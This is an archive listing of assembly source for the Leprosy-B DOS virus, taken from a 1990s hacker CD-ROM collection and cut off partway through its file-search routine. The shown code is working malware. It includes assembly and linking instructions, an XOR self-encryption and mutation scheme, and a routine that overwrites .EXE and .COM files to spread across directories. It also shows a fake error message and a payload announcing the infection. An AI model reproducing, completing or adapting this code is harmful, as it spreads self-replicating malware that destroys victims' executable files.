home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / LEPROSYB.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  13KB  |  245 lines

  1. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  2. ;                       Copy-ya-right (c) 1990 by PCM2.
  3. ;
  4. ;  This file is the source code to the Leprosy-B virus.  It should
  5. ;  be assembled with an MASM-compatible assembler; it has been tested
  6. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  7. ;  It should be made into a .COM file before executing, with either
  8. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  9. ;
  10. ;  This program has the potential to permanently destroy executable
  11. ;  images on any disk medium.  Other modifications may have been made
  12. ;  subsequent to the original release by the author, either benign,
  13. ;  or which could result in further harm should this program be run.
  14. ;  In any case, the author assumes no responsibility for any damage
  15. ;  caused by this program, incidental or otherwise.  As a precaution,
  16. ;  this program should not be turned over to irresponsible hands...
  17. ;  (unlike people like us, that is).
  18.  
  19.  
  20.                 title   "Leprosy-B Virus by PCM2, August 1990"
  21.  
  22. cr              equ     13              ;  Carriage return ASCII code
  23. lf              equ     10              ;  Linefeed ASCII code
  24. tab             equ     9               ;  Tab ASCII code
  25. virus_size      equ     666             ;  Size of the virus file
  26. code_start      equ     100h            ;  Address right after PSP in memory
  27. dta             equ     80h             ;  Addr of default disk transfer area
  28. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  29. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  30. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  31. attribute       equ     21              ;  Offset in DTA of file attribute
  32.  
  33.  
  34.         code    segment 'code'          ;  Open code segment
  35.         assume  cs:code,ds:code         ;  One segment for both code & data
  36.                 org     code_start      ;  Start code image after PSP
  37.  
  38. ;---------------------------------------------------------------------
  39. ;  All executable code is contained in boundaries of procedure "main".
  40. ;  The following code, until the start of "virus_code", is the non-
  41. ;  encrypted CMT portion of the code to load up the real program.
  42. ;---------------------------------------------------------------------
  43. main    proc    near                    ;  Code execution begins here
  44.         call    encrypt_decrypt         ;  Decrypt the real virus code
  45.         jmp     random_mutation         ;  Put the virus into action
  46.  
  47. encrypt_val     db      00h             ;  Hold value to encrypt by here
  48.  
  49. ; ----------  Encrypt, save, and restore the virus code  -----------
  50. infect_file:
  51.         mov     bx,handle               ;  Get the handle
  52.         push    bx                      ;  Save it on the stack
  53.         call    encrypt_decrypt         ;  Encrypt most of the code
  54.         pop     bx                      ;  Get back the handle
  55.         mov     cx,virus_size           ;  Total number of bytes to write
  56.         mov     dx,code_start           ;  Buffer where code starts in memory
  57.         mov     ah,40h                  ;  DOS write-to-handle service
  58.         int     21h                     ;  Write the virus code into the file
  59.         call    encrypt_decrypt         ;  Restore the code as it was
  60.         ret                             ;  Go back to where you came from
  61.  
  62. ; ---------------  Encrypt or decrypt the virus code  ----------------
  63. encrypt_decrypt:
  64.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  65. xor_loop:                               ;  Start cycle here
  66.         mov     ah,[bx]                 ;  Get the current byte
  67.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  68.         mov     [bx],ah                 ;  Put it back where we got it
  69.         inc     bx                      ;  Move BX ahead a byte
  70.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  71.         jle     xor_loop                ;  If not, do another cycle
  72.         ret                             ;  and go back where we came from
  73.  
  74. ;-----------------------------------------------------------------------
  75. ;   The rest of the code from here on remains encrypted until run-time,
  76. ;   using a fundamental XOR technique that changes via CMT.
  77. ;-----------------------------------------------------------------------
  78. virus_code:
  79.  
  80. ;----------------------------------------------------------------------------
  81. ;  All strings are kept here in the file, and automatically encrypted.
  82. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  83. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  84. ;  changes, even when the strings stay the same.
  85. ;----------------------------------------------------------------------------
  86. exe_filespec    db      "*.EXE",0
  87. com_filespec    db      "*.COM",0
  88. newdir          db      "..",0
  89. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  90. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  91. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  92. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  93. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  94. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  95. files_found     db      ?
  96. files_infected  db      ?
  97. orig_time       dw      ?
  98. orig_date       dw      ?
  99. orig_attr       dw      ?
  100. handle          dw      ?
  101. success         db      ?
  102.  
  103. random_mutation:                        ; First decide if virus is to mutate
  104.         mov     ah,2ch                  ; Set up DOS function to get time
  105.         int     21h
  106.         cmp     encrypt_val,0           ; Is this a first-run virus copy?
  107.         je      install_val             ; If so, install whatever you get.
  108.         cmp     dh,15                   ; Is it less than 16 seconds?
  109.         jg      find_extension          ; If not, don't mutate this time
  110. install_val:
  111.         cmp     dl,0                    ; Will we be encrypting using zero?
  112.         je      random_mutation         ; If so, get a new value.
  113.         mov     encrypt_val,dl          ; Otherwise, save the new value
  114. find_extension:                         ; Locate file w/ valid extension
  115.         mov     files_found,0           ; Count infected files found
  116.         mov     files_infected,4        ; BX counts file infected so far
  117.         mov     success,0
  118. find_exe:
  119.         mov     cx,00100111b            ; Look for all flat file attributes
  120.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  121.         mov     ah,4eh                  ; Call DOS find first service
  122.         int     21h
  123.         cmp     ax,12h                  ; Are no files found?
  124.         je      find_com                ; If not, nothing more to do
  125.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  126. find_com:
  127.         mov     cx,00100111b            ; Look for all flat file attributes
  128.         mov     dx,offset com_filespec  ; Check for .COM extension now
  129.         mov     ah,4eh                  ; Call DOS find first service
  130.         int     21h
  131.         cmp     ax,12h                  ; Are no files found?
  132.         je      chdir                   ; If not, step back a directory
  133.         call    find_healthy            ; Otherwise, try to find healthy .COM
  134. chdir:                                  ; Routine to step back one level
  135.         mov     dx,offset newdir        ; Load DX with address of pathname
  136.         mov     ah,3bh                  ; Change directory DOS service
  137.         int     21h
  138.         dec     files_infected          ; This counts as infecting a file
  139.         jnz     find_exe                ; If we're still rolling, find another
  140.         jmp     exit_virus              ; Otherwise let's pack it up
  141. find_healthy:
  142.         mov     bx,dta                  ; Point BX to address of DTA
  143.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  144.